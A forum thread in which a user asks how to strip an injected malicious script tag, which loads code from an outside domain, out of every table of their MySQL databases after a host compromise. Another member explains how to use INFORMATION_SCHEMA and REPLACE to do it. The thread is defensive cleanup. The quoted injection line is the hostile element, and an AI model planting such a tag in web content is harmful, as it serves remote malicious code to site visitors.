Go Back   CodingForums.com > :: Server side development > MySQL

Before you post, read our: Rules & Posting Guidelines

Reply
 
Thread Tools Rate Thread
Enjoy an ad free experience by logging in. Not a member yet? Register.
Old 06-15-2011, 05:16 PM   PM User | #1
fruitwerks
New Coder

 
Join Date: Aug 2007
Posts: 35
Thanks: 3
Thanked 0 Times in 0 Posts
fruitwerks is an unknown quantity at this point
Search and Replace?

So I had some sites over on iPower, they were recently hacked (iPower, not my sites specifically) and I have moved the sites to a new host. Now the problem is that I have a lot of databases with the following string just about everywhere:

Code:
<script src="http://infoitpoweringgathering.com/ll.php?kk=11"></script>
They claim they had run cleaner scripts to remove this, but it is still there. So I need a way to search and replace every table, cell, bit of a given database.

I'm a bit frustrated so I'm having trouble thinking straight on this issue

Any ideas are welcome.

Thanks!
fruitwerks is offline   Reply With Quote
Old 06-15-2011, 10:33 PM   PM User | #2
Old Pedant
Supreme Master coder!

 
Old Pedant's Avatar
 
Join Date: Feb 2009
Posts: 23,549
Thanks: 62
Thanked 4,054 Times in 4,023 Posts
Old Pedant is a name known to allOld Pedant is a name known to allOld Pedant is a name known to allOld Pedant is a name known to allOld Pedant is a name known to allOld Pedant is a name known to all
And the database is MySQL?

You can do this with the help of the INFORMATION_SCHEMA database.

You can ask it for all the tables in your own database:
Code:
select table_name from tables where table_schema = 'name of your database';
Then you can ask for all the columns in a given table:
Code:
select column_name, data_type from columns where table_schema='db name' and table_name='one of your tables'
and then you can go look in all the columns that are text or varchar or char (and are long enough to hold that text) in your actual tables and do a REPLACE that zaps that text.

Write a little script (PHP or whatever you are familiar with) to run through all the tables and all the columns that are of the right type.
Old Pedant is offline   Reply With Quote
Users who have thanked Old Pedant for this post:
fruitwerks (06-16-2011)
Old 06-16-2011, 01:11 AM   PM User | #3
fruitwerks
New Coder

 
Join Date: Aug 2007
Posts: 35
Thanks: 3
Thanked 0 Times in 0 Posts
fruitwerks is an unknown quantity at this point
Thanks - I was thinking it was going to come down to that, just wanted to make sure I didn't miss the magic command documentation

I think you helped me on my last SQL q as well, posted here long ago.

I have a feeling it may not be so simple though. I'll update this when I know
fruitwerks is offline   Reply With Quote
Old 06-16-2011, 01:25 AM   PM User | #4
Old Pedant
Supreme Master coder!

 
Old Pedant's Avatar
 
Join Date: Feb 2009
Posts: 23,549
Thanks: 62
Thanked 4,054 Times in 4,023 Posts
Old Pedant is a name known to allOld Pedant is a name known to allOld Pedant is a name known to allOld Pedant is a name known to allOld Pedant is a name known to allOld Pedant is a name known to all
I'm not a PHP person. I could do this in Java or C++ or even VBScript (either in an ASP page or as a ".vbs" stand-alone file). It's not really hard. Just a bit tedious.

If you want a ".vbs" solution (the fastest to write, but slowest to run...but not much slower, since all the real work is done in MySQL), I could try it.
Old Pedant is offline   Reply With Quote
Reply

Bookmarks

Jump To Top of Thread


Thread Tools
Rate This Thread
Rate This Thread:

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off

Forum Jump


All times are GMT +1. The time now is 10:52 PM.


Advertisement
Log in to turn off these ads.